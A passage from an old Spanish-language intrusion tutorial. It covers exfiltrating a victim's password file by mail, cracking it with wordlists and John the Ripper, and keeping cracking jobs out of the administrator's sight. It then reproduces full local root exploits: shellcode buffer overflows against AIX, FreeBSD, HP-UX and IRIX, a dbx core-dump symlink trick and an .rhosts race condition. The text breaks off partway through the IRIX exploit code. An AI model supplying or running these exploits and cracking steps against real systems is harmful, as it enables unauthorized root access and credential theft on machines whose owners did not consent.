5.- Usar el mail aunque solo se debe hacer si la cuenta esta restringida al mail o teneis algun problema extraño se puede usar como ultimo recurso maileando el passwd desde la maquina victima a una cuenta de correo tuya... tiene la ventaja de que no es nada sospechoso ya que es usual que la gente use el mail :)... es bastante menos sospechoso ke el ftp :). Esto tambien suele quedar en algun fichero de logs.

Como veis, estos metodos hay algunos muy chapuceros, pero cuando estas en una maquina y estas un poco desesperado se hace lo que haga falta jeje.

6.4.- COMO SE CRACKEAN

Una vez obtenido el fichero passwd y teniendolo en nuestra maquina, ahora se ha de comentar como se pueden sacar los password y los login.

Como hemos visto, no podemos descifrar un password, pero si que podemos cifrar palabras con todos los salt posibles y compararlas con la que ya tenemos cifrada. El tema es que palabras usamos para encriptarlas y comparar... pues bien se pueden hacer varias cosas, usar listas de palabras ya hechas o haceros vosotros una. A estas listas de palabras son lo que se denominan los famosos diccionarios.

Si optas por pillar diccionarios ya hechos.. hay sites que contienen muchas wordlists (diccionarios) en casi cualquier idioma que os podais imaginar. Los sites mas conocidos para estos fines son:

ftp://sun.rediris.es/mirror/sable/wordlists/
http://sunshine.sunshine.ro/FUN/Word_lists/
ftp://ftp.warwick.ac.uk/pub/cud/
ftp://sable.ox.ac.uk/pub/wordlists/

Si prefieres hacerte uno... (es lo que os aconsejo) simplemente te pones delante del teclado y pones todas las palabras que se te ocurran. El problema de esto es que el diccionario esta restringido a tus conocimientos o aficiones.. por ejemplo, si no te gusta el futbol tienes un problema ya que mucha gente pone como password nombres de futbolistas, nombre del novio, de la novia, insultos, libros, su apellido, etc. Por ejemplo en el mio he puesto las plantillas de los equipos de futbol mas importantes, lista de ciudades, listas de apellidos y nombres ,etc. Ademas tened en cuenta que si os haceis un diccionario vosotros, solo os servira para sites españoles ya que dificilmente sacareis algo en una maquina de zambia :o)

Otra cosa es que muchas veces coincide el login con el password pero si usais el john the ripper, esto lo saca el con la opcion –single.

Ademas, os podeis ayudar de algun programa para extraer todas las palabras de un fichero o utilidades que hay en la red para modificar listas de palabras.. pero eso es otro cantar.

6.5.- Que crackeador de password usar.

Ahora que ya teneis la lista de passwords y unas cuantas listas de palabras falta un programa que encripte las palabras y las compare con los passwords encriptados del fichero de passwords. Para ello hay muchos programas que podeis usar. Ahora comentare brevemente las caracteristicas de los programas (y sus

nombres, para que los podais buscar por la red), pero antes quiero dar algunos truquillos para que consigais passwords en menos tiempo.

- Elimina del fichero de passwords todas las lineas cuyo password sea invalido ("*", "*NOPASSWORD*", etc)

- Ordenad las lineas del fichero de password por los dos primeros caracteres del password encriptado. Algunos de los programas que comento ya hacen esto al cargar el fichero de password, pero algunos no lo hacen. Con estos dos pasos os podeis ahorrar bastante tiempo si usais estos petadores.

- Aquellos usuarios que tienen el campo de password vacio (user1::101:1:Manolito:/usr/user1:/bin/sh) no tienen password, asi que son una cuenta que podeis eliminar del fichero, ya que no os hace falta petar el password para entrar.

Petadores:

- Cracker Jack 1.4 (JACK14*.*, CJACK. Esta en practicamente cualquier site de internet dedicado al hacking. Funciona para DOS y para OS/2, y es bastante rapido. Incluye en el mismo paquete varias utilidades para tratar listas de palabras.

- Brute 2.00 (BRUTE*.*) Otro petador bastante popular pese a su lentitud. Creo que existe otra version mas rapida, pero usa un algoritmo de encriptacion que no es del todo correcto (aunque es mas rapido), y no pilla todos los passwords que debiera. No he podido localizar ninguna copia de esa version asi que no la he podido probar. Funciona para DOS.
- StarCrack 0.64ß (STARCRAK*.*) Este es un petador con multitud de opciones, que permite manipular palabras mientras se prueban. Es mas rapido que el Cracker Jack, funciona para DOS y es muy completo. Es bastante nuevo, y ademas es una Beta, o sea que supongo que pronto saldra alguna version mejorada... :-? Es bastante completo y permite hacer de todo
    - Esta es la homepage del StarCrack: http://www.chez.com/thes/starcrak.html

- Hades 1.00a (HADES*.*) Otro petador para DOS. Este hace las pruebas de una forma distinta al resto de petadores. En vez de encriptar una palabra y comparar con los passwords de todos los usuarios, prueba de encriptar todas las palabras y compara cada palabra con el password de un usuario. Una vez ha acabado con un usuario, prueba lo mismo con otro. Debido a esta forma de actuar, realiza mucha entrada/salida de disco, lo cual ralentiza el proceso. Sus prestaciones mejoran notablemente si ordenamos el fichero de passwords por el campo password encriptado, ya que asi prueba varios usuarios a la vez. Tambien se puede mejorar su rendimiento teniendo todas las listas (palabras y passwords) en un disco virtual en memoria.

- Guess 2.1 (GUESS*.*) Petador para DOS, extremadamente lento. Tiene problemas de memoria si se intenta usar con ficheros de passwords de mas de 1000 lineas.

- PCUPC 2.01 (PCUPC*.*) Otro petador para DOS. Este tiene problemas de memoria si se intenta usar con ficheros de passwords de mas de 600/700 lineas.

- Killer Cracker 9.5 (DJKC95*.*, KC*.*) Al igual que el Guess, es un petador para DOS bastante lento y que da problemas si se usa con ficheros de passwords de mas de 1000 lineas.

- Xit 2.0 (XIT20*.*) Petador para DOS. Es lo mas lento que me he encontrado. Como su nombre indica, es una shit! :-)

- HellFire Cracker 1.3 (HC130*.*) Petador para DOS. Necesita 386 con coprocesador para funcionar, pero por algun extraño motivo se cuelga en mi pentium y en mi 486, asi que no os puedo decir que tal este. Quizas si teneis un 386 lo podais usar con exito. El programa incluye un emulador de 387 por si no teneis coprocesador. De todas formas, es un programa muy antiguo que seguramente no sera muy rapido.

- John the ripper 1.4 (UCFJOHN3*.*) Petador para DOS/Win32/Linux y cualquier otra cosa, ya que viene con las fuentes. Funciona de una forma muy similar al Cracker Jack pero incluye mas opciones y es bastante mas rapido. No tiene tantas opciones como el Star Crack, pero es bastante mas rapido. Ademas permite un monton de opciones para tratar las listas de palabras que usais...
    - Esta es la homepage del John the Ripper: http://www.false.com/security/john/

Aqui teneis una comparativa de estos petadores, en la misma maquina y con los mismos ficheros de passwords y de palabras. Algunos de ellos tardaban demasiado, y aborte el proceso de petar passwords. En

estos casos, calcule el tiempo estimado que tardarian en acabar en funcion del tiempo que llevaban (1 hora) y las palabras que habian provado hasta el momento. Estos son los resultados, ordenados por velocidad:

Cracker	Tiempo	Comparaciones por Segundo	Observaciones
John the ripper 1.4	6'15"	26667c/s	.
John the ripper 1.31	6'30"	25641c/s	.
John the ripper 1.0	8'05"	20619c/s	.
Star Crack 0.64ß	9'15"	18018c/s	.
Star Crack 0.51ß	11'25"	14599c/s	.
Cracker Jack 1.4	13'33"	12300c/s	.
Cracker Jack 1.3 386	14'55"	11173c/s	.
Cracker Jack 1.3 8086	22'22"	7452c/s	.
Hades 1.00a	47'05"	3540c/s	.
Brute 2.00	(est)59'54"	2782c/s	.
PCUPC 2.01	(est)135'37"	1229c/s	Solo soporta ficheros de passwords de menos de 500 lineas.
Guess 2.1	(est)141'58"	1174c/s	Solo soporta ficheros de passwords de menos de 1000 lineas.
Killer Cracker 9.5	(est)151'12"	1105c/s	Solo soporta ficheros de passwords de menos de 1000 lineas.
Xit 2.0	(est)195'37"	852c/s	.
Hellfire Cracker 1.3	infinito	0c/s	Se colgo y no pudo ser probado.

Este test fue realizado en un Pentium 133, con 16 Mb de RAM, con los datos en el disco duro, con una cache de lectura de 2 Mb y sin hacer ningun preprocesado en el fichero de passwords ni en el de palabras. El fichero de palabras contenia 10000 palabras y el de passwords 1000 passwords. Tenian que encontrar 554 passwords.

Algunos de ellos no los deje acabar ya que tardaban demasiado y estime el tiempo en funcion de lo que habian crackeado hasta el momento de pararlos, por lo tanto no se si hubieran encontrado todos los passwords. Solo los he incluido en la comparativa por si alguno de vosotros los usa, para que vea que hay cosas mejores.

Como se puede ver, el John the ripper encripta casi el doble de passwords por segundo que el Cracker Jack. He de reconocer que el fichero con el que hize la prueba parece ser especialmente adecuado para el John the ripper, ya que 20000c/s no se consiguen habitualmente. De todas formas, la comparativa es significativa de la velocidad a la que se petan passwords con cada uno de los programas.

Una cosa que me gustaria puntualizar es que aunque el password del root se puede sacar con este metodo de fuerza bruta, no es demasiado aconsejable y solo se debe usar para casos in extremis. Esto es asi porque si el root tiene algo de idea de esto, tendra un passwd un poco raro y no lo podreis sacar facilmente a no ser que pongais el john en modo incremental (y esto es una locura tal como se comentara mas adelante).

Otra historia es si teneis a mano una maquina de donde podais colgar el proceso con lo que lo podeis colgar de alli y que trabaje el (el problema es que consume mucha CPU por lo que como el root vea los procesos os pillaran, os lo mataran y encima estara bajo aviso) por lo que a no ser que tengais acceso a una maquina que sepais que el root no esta muy al loro, no useis este metodo, pero buscando y con un poco de suerte al final encontrareis una maquina con estas caracteristicas.

Para usar el john the ripper suponiendo que el fichero de passwords se llama passwd se haria:

John –single passwd ------ Asi saca los passwd mas sencillos
John –wordfile:nombrediccionario –rules passwd -:Para emplear un diccionario
John –wordfile:nombrediccionario –rules –users:0 passwd -:Para emplear un diccionario para sacar el root.

Este programa ofrece muchisimas posibilidades por lo que para mas informacion leerse los docs que se adjuntan con el propio john the ripper.

7.- CONSEGUIR ACCESO DE ROOT

En esta seccion voy a explicar tres metodos para conseguir root aunque hay algunos mas que quiza adjunte en posteriores ediciones. Los que voy a explicar aqui son la fuerza bruta, los xploits para pillar root y troyanos.

7.1.- FUERZA BRUTA

En fin, se puede intentar sacar el password del root a partir del fichero /etc/passwd pero sinceramente es muy dificil ke el root sea tan tordo de tener un password sencillo aunque funciona aproximadamente un 5% de los casos que algo es algo (mi experiencia es ke kada 10-15 makinas sako un password de root kon fuerza bruta usando solo los diccionarios usuales).

Si no tienes mas recursos para pillar el root, puedes probar a sacar el passwd de root usando el modo incremental en cualquier crackeador. En el caso del john the ripper, la sintaxis seria john –i –rules –users:0 ficheropasswd.

He de avisar que el metodo incrementar es una locura, de hecho hay textos por ahi diciendo que tardaria años en sacar el passwd. Yo solo he probado una vez este metodo para ver que tal iba y me saco el passwd tras unas 70 horas, pero tras hablar con gente por ahi.. creo que tuve suerte., es decir que de aqui se deduce que no vale la pena.. porque tener la maquina en marcha alomejor 100 horas o las que sean es una chorrada cuando se puede rular algun xploit y pillar el root en 5 minutos :-)

De todos modos, una manera de trabajar seria no dedicar especial atencion al modo incremental, pero tras sacar algunas cuentas de usuarios normales, pasar algunos diccionarios con la opcion:

John –wordfile:dict.txt –rules –users:0 passwd

Y si rula, rula que tampoco se pierde tanto tiempo en pasar un par de diccionarios :o)

Pero en fin, en general el metodo mas rapido es usar un xploit como se comentara a continuacion aunque puede haber casos en los que el sistema operativo en el que estais no encontreis xploits (sistemas operativos raros) o que estos xploits no funcionen por lo que estando muy desesperados podeis hacerlo asi aunque en el caso de que los xploits no funcionen es ke posiblemente el root kontrole y no creo que tenga un passwd sencillo, pero en fin.. nunka se sabe :)

7.2.- XPLOITS

En esta seccion voy a intentar poner uno de cada sistema operativo de los que suele haber por ahi y ademas voy a intentar que sean nuevecillos .. pero como siempre se pueden buscar en la red (siempre tengo el correo abierto para mails diciendome ftp buenos jeje).

Para entender el funcionamiento de la mayoria de ellos, los famosos buffer overflow, puedes leer algunos articulillos que hay en la red de Aleph One o Mudge por poner algunos ejemplos.. opino que valen la pena ;o)

Bueno.. aqui va el rollo de xploits (pongo uno de cada pero aconsejo que tengais por lo menos 10 de cada sistema operativo porque luego puede pasar que no tengas uno de una version determinada, que no rule, etc. Ademas aconsejo que los ordeneis por sistemas operativos en directorios separados y si eres muy currante los puedes ordenar hasta por versiones del sistema operativo, pero eso ya es solo para gente ordenada jeje):

No los pongo traducidos ya que creo que es una currada que no sirve para nada porque son de facil lectura. Ahi van:

AIX

```
/* Under AIX 4.2 (probably others) /usr/dt/bin/dtaction does not handle
properly the HOME environment variable and that spawns a root shell. A lot
of other X programs have the same problem and /bin/X11/xlock is well known
to be exploitable.
Tested on AIX 4.2 box.
```

```
   SOLUTION: #chmod -s /usr/dt/bin/dtaction /bin/X11/xlock
 OR apply patches */

/*
 AIX 4.2,(others?) dtaction and HOME exploit by Georgi Guninski

----------------------------------------
DISCLAIMER

 This program is for educational purpose ONLY. Do not use it without
permission.
 The usual standard disclaimer applies, especially the fact that Georgi
Guninski
 is not liable for any damages caused by direct or  indirect use of
 the information or functionality provided by this program.
 Georgi Guninski, his employer or any Internet provider bears NO
responsibility for content
 or misuse of this program or any derivatives thereof.
 By using this program you accept the fact that any damage (dataloss,
system
 crash, system compromise, etc.) caused by the use of this program is not
 Georgi Guninski's responsibility.

In case you distribute this, please keep the disclaimer and my addresses.
----------------------------------------
Use the IBM C compiler.
Compile with: cc -g aixdtaction.c
DISPLAY should be set.
SOLUTION: #chmod -s /usr/dt/bin/dtaction                ; at least stops root shells
-----------------
Georgi Guninski
 guninski@hotmail.com
 http://www.geocities.com/ResearchTriangle/1711

Suggestions,comments and job offers are welcome!
10-JUNE-97
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>


char *prog="/usr/dt/bin/dtaction";
char *prog2="dtaction";
extern int execv();

char *createvar(char *name,char *value)
{
char *c;
int l;
l=strlen(name)+strlen(value)+4;
if (! (c=malloc(l))) {perror("error allocating");exit(2);};
strcpy(c,name);
strcat(c,"=");
strcat(c,value);
return c;
}

/*The program*/
main(int argc,char **argv,char **env)
{
/*The code*/
unsigned int code[]={
0x7c0802a6 , 0x9421fbb0 , 0x90010458 , 0x3c60f019 ,
0x60632c48 , 0x90610440 , 0x3c60d002 , 0x60634c0c ,
0x90610444 , 0x3c602f62 , 0x6063696e , 0x90610438 ,
```

```
0x3c602f73 , 0x60636801 , 0x3863ffff , 0x9061043c ,
0x30610438 , 0x7c842278 , 0x80410440 , 0x80010444 ,
0x7c0903a6 , 0x4e800420, 0x0
};
/* disassembly
7c0802a6        mfspr   r0,LR
9421fbb0        stu     SP,-1104(SP) --get stack
90010458        st      r0,1112(SP)
3c60f019        cau     r3,r0,0xf019
60632c48        lis     r3,r3,11336
90610440        st      r3,1088(SP)
3c60d002        cau     r3,r0,0xd002
60634c0c        lis     r3,r3,19468
90610444        st      r3,1092(SP)
3c602f62        cau     r3,r0,0x2f62 --'/bin/sh\x01'
6063696e        lis     r3,r3,26990
90610438        st      r3,1080(SP)
3c602f73        cau     r3,r0,0x2f73
60636801        lis     r3,r3,26625
3863ffff        addi    r3,r3,-1
9061043c        st      r3,1084(SP) --terminate with 0
30610438        lis     r3,SP,1080
7c842278        xor     r4,r4,r4    --argv=NULL
80410440        lwz     RTOC,1088(SP)
80010444        lwz     r0,1092(SP) --jump
7c0903a6        mtspr   CTR,r0
4e800420        bctr            --jump
*/

#define MAXBUF 600
unsigned int buf[MAXBUF];
unsigned int frame[MAXBUF];
unsigned int i,nop,mn=100;
int max=280;
unsigned int toc;
unsigned int eco;
unsigned int *pt;
char *t;
unsigned int reta; /* return address */
int corr=3400;
char *args[4];
char *newenv[8];


if (argc>1)
        corr = atoi(argv[1]);

pt=(unsigned *) &execv;
toc=*(pt+1);
eco=*pt;

if ( ((mn+strlen((char*)&code)/4)>max) || (max>MAXBUF) )
{
        perror("Bad parameters");
        exit(1);
}

#define OO 7
*((unsigned short *)code + OO + 2)=(unsigned short) (toc & 0x0000ffff);
*((unsigned short *)code + OO)=(unsigned short) ((toc >> 16) & 0x0000ffff);
*((unsigned short *)code + OO + 8 )=(unsigned short) (eco & 0x0000ffff);
*((unsigned short *)code + OO + 6 )=(unsigned short) ((eco >> 16) &
0x0000ffff);

reta=(unsigned) &buf[0]+corr;
```

```
   for(nop=0;nop<mn;nop++)
 buf[nop]=0x4ffffb82;
strcpy((char*)&buf[nop],(char*)&code);
i=nop+strlen( (char*) &code)/4-1;

if( !(reta & 0xff) || !(reta && 0xff00) || !(reta && 0xff0000)
       || !(reta && 0xff000000))
{
perror("Return address has zero");exit(5);
}

while(i++<max)
 buf[i]=reta;
buf[i]=0;

for(i=0;i<max-1;i++)
 frame[i]=reta;
frame[i]=0;

/* 4 vars 'cause the correct one should be aligned at 4bytes boundary */
newenv[0]=createvar("EGGSHEL",(char*)&buf[0]);
newenv[1]=createvar("EGGSHE2",(char*)&buf[0]);
newenv[2]=createvar("EGGSHE3",(char*)&buf[0]);
newenv[3]=createvar("EGGSHE4",(char*)&buf[0]);
newenv[4]=createvar("DISPLAY",getenv("DISPLAY"));
newenv[5]=createvar("HOME",(char*)&frame[0]);
newenv[6]=NULL;

args[0]=prog2;
puts("Start...");/*Here we go*/
execve(prog,args,newenv);
perror("Error executing execve \n");
/*      Georgi Guninski guninski@hotmail.com
       http://www.geocities.com/ResearchTriangle/1711*/
}

/*
-brute-script------------------------------------------------------------
#!/bin/ksh
L=200
O=40
while [ $L -lt 12000 ]
do
echo $L
L=`expr $L + 96`
./a.out $L
done
*/
```

OTRO PARA AIX

Existe una vulnerabilidad en el comando lquerypv de AIX. no estoy seguro de
la version.

/usr/sbin/lquerypv -h /etc/security/passwd

Puedes sustituir /etc/security/passwd por cualquier otro fichero que no podamos leer (que no tengamos permiso de lectura por no ser r00t).

FREEBSD

```
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define DEFAULT_OFFSET                  50
#define BUFFER_SIZE             256

long get_esp(void)
{
   __asm__("movl %esp,%eax\n");
}

main(int argc, char **argv)
{
   char *buff = NULL;
   unsigned long *addr_ptr = NULL;
   char *ptr = NULL;

/* so you dont have to disassemble it, here is the asm code:
start:
jmp     endofk0dez
realstart:
popl    %esi
leal    (%esi), %ebx
movl    %ebx, 0x0b(%esi)
xorl    %edx, %edx
movl    %edx, 7(%esi)
movl    %edx, 0x0f(%esi)
movl    %edx, 0x14(%esi)
movb    %edx, 0x19(%esi)
xorl    %eax, %eax
movb    $59, %al
leal    0x0b(%esi), %ecx
movl    %ecx, %edx
pushl   %edx
pushl   %ecx
pushl   %ebx
pushl   %eax
jmp     bewm
endofk0dez:
call    realstart
.byte   '/', 'b', 'i', 'n', '/', 's', 'h'
.byte   1, 1, 1, 1
.byte   2, 2, 2, 2
.byte   3, 3, 3, 3
bewm:
.byte   0x9a, 4, 4, 4, 4, 7, 4
*/

   char execshell[] =
   "\xeb\x23"
   "\x5e"
   "\x8d\x1e"
   "\x89\x5e\x0b"
   "\x31\xd2"
   "\x89\x56\x07"
   "\x89\x56\x0f"
   "\x89\x56\x14"
   "\x88\x56\x19"
   "\x31\xc0"
   "\xb0\x3b"
   "\x8d\x4e\x0b"
   "\x89\xca"
   "\x52"
   "\x51"
   "\x53"
```

```
      "\x50"
  "\xeb\x18"
  "\xe8\xd8\xff\xff\xff"
  "/bin/sh"
  "\x01\x01\x01\x01"
  "\x02\x02\x02\x02"
  "\x03\x03\x03\x03"
  "\x9a\x04\x04\x04\x04\x07\x04";

  int i;
  int ofs = DEFAULT_OFFSET;

  /* if we have a argument, use it as offset, else use default */
  if(argc == 2)
    ofs = atoi(argv[1]);
  /* print the offset in use */
  printf("Using offset of esp + %d (%x)\n", ofs, get_esp()+ofs);

  buff = malloc(4096);
  if(!buff)
  {
    printf("can't allocate memory\n");
    exit(0);
  }
  ptr = buff;
  /* fill start of buffer with nops */
  memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
  ptr += BUFFER_SIZE-strlen(execshell);
  /* stick asm code into the buffer */
  for(i=0;i < strlen(execshell);i++)
    *(ptr++) = execshell[i];
  /* write the return addresses
  **
  ** return address                          4
  ** ebp                                     4
  ** register unsigned n                 0
  ** register char *cp                       0
  ** register struct syment *s               0
  **
  ** total: 8
  */
  addr_ptr = (long *)ptr;
  for(i=0;i < (8/4);i++)
    *(addr_ptr++) = get_esp() + ofs;
  ptr = (char *)addr_ptr;
  *ptr = 0;
  execl("/usr/bin/rdist", "rdist", "-d", buff, "-d", buff, NULL);
}
```

FREEBSD

There is a BSD exploit that works on the termcap file. it has some entries like this.

```
 telnet> env def TERM access
 telnet> env def TERMCAP /path/and/name/of/uploaded/file
 telnet> open victim.host.com
```

and the source code is here:

```
--------SNIP-----

#include <stdlib.h>
#include <unistd.h>
```

```
#include <fcntl.h>

#define filename "./termcap"
#define entry   "access|Gimme r00t:\\\n :"
#define bufsize 1300
#define default_offset 870    /* Should work...*/

char shellcode[] =
  "\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9"
  "\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46"
  "\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51"
  "\x9a\x3e\x39\x29\x28\x39\x3c\xe8\xc6\xff\xff\xff/bin/sh";

long get_sp(void)
{
   __asm__("movl %esp, %eax\n");
}

int main(int argc, char *argv[]) {
   int i, fd, offs;
   long *bof_ptr;
   char *ptr, *buffer, *tempbuf;

   offs = default_offset;

   if(argc == 2) {
      printf("using offset: %d\n",atoi(argv[1]));
      offs = atoi(argv[1]);
   }

   if(!(buffer = malloc(bufsize))) {
      printf("can't allocate enough memory\n");
      exit(0);
   }


  if(!(tempbuf = malloc(bufsize+strlen(entry) + 50))) {
      printf("can't allocate enough memory\n");
      exit(0);
   }

   bof_ptr = (long *)buffer;
   for (i = 0; i < bufsize - 4; i += 4)
      *(bof_ptr++) = get_sp() - offs;

   ptr = (char *)buffer;
   for (i = 0; i < ((bufsize-strlen(shellcode)))/2 - 1; i++)
      *(ptr++) = 0x90;

   for (i = 0; i < strlen(shellcode); i++)
      *(ptr++) = shellcode[i];

   printf("Creating termcap file\n");

   snprintf(tempbuf, (bufsize+strlen(entry)+50), "%s%s:\n", entry,
buffer);
   fd = open(filename, O_WRONLY|O_CREAT, 0666);
   write (fd, tempbuf, strlen(tempbuf));
   close(fd);
}
```

--------SNIP------------

DIGITAL CON DBX

If you run dbx (tested on 3.11.10) on a setuid root program that you have read access to, the program will core dump and create a root owned 600 perm core in the current directory. You might have to run dbx one or two times to get it to work.. The message you are looking for is:

```
dbx version 3.11.10
Type 'help' for help.

warning: /bin/crontab has no symbol table -- very little is supported
without it


Could not attach to process 10112

cannot run program
Exiting due to error during startup
```

Now, this core dump will follow symlinks.. and using the trick mentioned earlier with embedding + + in a core dump, you can easily grab root.

```
ln -s /.rhosts core
BOB42="

+ +

"
export BOB42
dbx /bin/crontab
rsh -l root localhost /bin/sh -i
```

HP-UX

```
/***
 *
 * HP-UX /usr/etc/vhe/vhe_u_mnt bug exploit.
 *
 * This bug is exhibited in all versions of HP-UX that contain
 * /usr/etc/vhe/vhe_u_mnt setuid to root.
 *
 * This program written by pluvius@io.org
 * The exploit code itself written by misar@rbg.informatik.th-darmstadt.de
 *
 * I found that the exploit code didn't always work due to a race between
 * the child and the parent, and that a link() called failed due to
 * the fact that user directories and the /tmp are in different file systems
 * so you must create a symlink.
 * I added in a call to alarm() so that the timing between the two processes
 * is ok..
 *
 ***/
#include <stdio.h>
#include <stdlib.h>
#include <pwd.h>
#include <string.h>
#include <unistd.h>
#include <signal.h>
#include <netdb.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/utsname.h>

#define BUGGY_PROG "/usr/etc/vhe/vhe_u_mnt"
#define NAME "<defunct>"
```

```
int test_host()
{ struct utsname name;
   uname(&name);
   return !strcmp(name.sysname,"HP-UX");
}
int check_mount()
{ struct stat my_buf;
   if (stat(BUGGY_PROG, &my_buf))
      return 0;
   return !((my_buf.st_mode & S_ISUID) != S_ISUID);
}
void pause_handler()
{
   signal(SIGALRM,pause_handler);
}
int rhost_user(user)
char *user;
{
  struct passwd *info;
  char   homedir[80];
  int fd[2];
  int procno;
  struct stat my_buf;
  int fsize;

   info = getpwnam(user);
   if (info==NULL) {
      fprintf(stderr,"ERROR: Unknown user %s\n",user);
      exit(-3);
   }
   strcpy(homedir,info->pw_dir);
   if (homedir[strlen(homedir)-1] != '/')
      strcat(homedir,"/");
   strcat(homedir,".rhosts");

   signal(SIGALRM,pause_handler);
   memset(my_buf,0,sizeof(my_buf));
   stat(homedir,&my_buf);
   fsize = my_buf.st_size;

   /* now the exploit code... slightly modified.. but mostly from the source */
   /* by misar@rbg.informatik.th-darmstadt.de                                */
   pipe(fd);
   if (!(procno=fork())) {
      close(0);
      dup(fd[0]);
      close(fd[1]);
      close(1);
      close(2);
      alarm(2); /* wait for other process */
      nice(5);
      execl(BUGGY_PROG,NAME,NULL);
   } else {
    FILE *out;
    char listfile[25];
    char mntfile[25];
    struct stat dummy;

      close(1);
      dup(fd[1]);
      close(fd[0]);
      write(1,"+\n",2);
      sprintf(listfile,"/tmp/vhe_%d",procno+2);
      sprintf(mntfile,"/tmp/newmnt%d",procno+2);
      while (stat(listfile,&dummy));
      unlink(listfile);
```

```
        out=fopen(listfile,"w");
      fputs("+ +\n",out);
      fclose(out);
      unlink(mntfile);
      symlink(homedir,mntfile);
      waitpid(procno,NULL,0);
    }
    stat(homedir,&my_buf);
    return (fsize != my_buf.st_size);
}

void main(argc,argv)
int   argc;
char *argv[];
{
  int i;
  int rhost_root = 0;
  char userid[10];

    if (!test_host()) {
      fprintf(stderr,"ERROR: This bug is only exhibited by HP-UX\n");
      exit(-1);
    }

    if (!check_mount()) {
      fprintf(stderr,
            "ERROR: %s must exist and be setuid root to exploit this bug\n",
            BUGGY_PROG);
      exit(-2);
    }

    for (i=0;(i<5)&&(!rhost_root);i++) {
      fprintf(stderr,"Attempting to .rhosts user root..");
      if (!rhost_user("root")) {
        fprintf(stderr,"failed.\n");
      } else {
        fprintf(stderr,"succeeded\n");
        rhost_root = 1;
      }
    }

    if (!rhost_root) {
      /* failed to rhost root, try user 'bin' */
      fprintf(stderr,"Too many failures.. trying user bin...");
      if (!rhost_user("bin")) {
        fprintf(stderr,"failed.\n");
        exit(-4);
      }
      fprintf(stderr,"succeeded.\n");
      strcpy(userid,"bin");
    } {
      strcpy(userid,"root");
    }
    fprintf(stderr,"now type: \"remsh localhost -l %s csh -i\" to login\n",
          userid);
}
```

OTRO PARA HP

```
/* SOD /usr/diag/bin/[cm]stm buffer overflow */

main()
{
char buf[500];
```

```
strcpy(buf,"\x41\x41\x34\x01\x01\x02\x08\x22\x04\x01\x60\x20\x02\xa6\x60\x20\x02\xac\xb4\x3a\x02\x98\x34\
x16\x01\x76\x34\x01\x02\x76\x08\x36\x02\x16\x08\x21\x02\x80\x20\x20\x08\x01\xe4\x20\xe0\x08\x08\x21\x02
\x80\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x4
3\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x
43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\
x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43
\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x4
3\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x
43\x43\x43\x43\x43\x2f\x62\x69\x6e\x2f\x73\x68\x2e\x2d\x69\x2e\x44\x44\x44\x44\x44\x7b\x03\x30\x1b");

execl("/usr/diag/bin/mstm","/usr/diag/bin/mstm","-l",buf,(char *)0);
/* Either-or, same overflow */
execl("/usr/diag/bin/cstm","/usr/diag/bin/cstm","-l",buf,(char *)0);
}
```

IRIX 6.2-6.3

Irix buffer overflow in /usr/bin/X11/xlock
The exploit as posted works on Irix 6.3. To get it to work on 6.2,
either change OFFSET from 0x118 to 0x160, or pass the program '20' as a
parameter.

Note that the shell spawned as a result of this exploit has uid=0,
euid=youruserid. To make your euid=0 you'll need a program like the
following:

```
void main(void)
{
   setuid(0,0);
   execl("/bin/sh", "sh", 0);
}
```

Regards,

David Hedley (hedley@cs.bris.ac.uk)

---------- cut here ----------

```
/* /usr/bin/X11/xlock exploit by DCRH 25/5/97
 *
 * Tested on: R5000 O2 (Irix 6.3)
 *            R8000 Power Challenge (Irix64 6.2)
 *
 * For Irix 6.2, change OFFSET to 0x160, or pass '20' as a parameter
 *
 * Exploit doesn't work on Irix 5.x due to stack position
 *
 * compile as: cc -n32 xlock.c
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>

#define NUM_ADDRESSES   800
#define BUF_LENGTH      80
#define EXTRA           190
#define OFFSET          0x118    /* 0x160 for Irix 6.2 */
#define GP_OFFSET       32472
#define IRIX_NOP        0x03e0f825    /* move $ra,$ra */
```

```
#define u_long unsigned

u_long get_sp_code[] = {
    0x03a01025,         /* move $v0,$sp         */
    0x03e00008,         /* jr $ra               */
    0x00000000,         /* nop                  */
};

u_long irix_shellcode[] = {
    0x24041234,         /* li $4,0x1234         */
    0x2084edcc,         /* sub $4,0x1234        */
    0x0491fffe,         /* bgezal $4,pc-4       */
    0x03bd302a,         /* sgt $6,$sp,$sp       */
    0x23e4012c,         /* addi $4,$31,264+36   */
    0xa086feff,         /* sb $6,-264+7($4)     */
    0x2084fef8,         /* sub $4,264           */
    0x20850110,         /* addi $5,$4,264+8     */
    0xaca4fef8,         /* sw $4,-264($5)       */
    0xaca6fefc,         /* sw $4,-260($5)       */
    0x20a5fef8,         /* sub $5, 264          */
    0x240203f3,         /* li $v0,1011          */
    0x03ffffcc,         /* syscall 0xffffff     */
    0x2f62696e,         /* "/bin"               */
    0x2f7368ff,         /* "/sh"                */
};

char buf[NUM_ADDRESSES+BUF_LENGTH + EXTRA + 8];

void main(int argc, char **argv)
{
    char *env[] = {NULL};
    u_long targ_addr, stack, tmp;
    u_long *long_p;
    int i, code_length = strlen((char *)irix_shellcode)+1;
    u_long (*get_sp)(void) = (u_long (*)(void))get_sp_code;

    stack = get_sp();

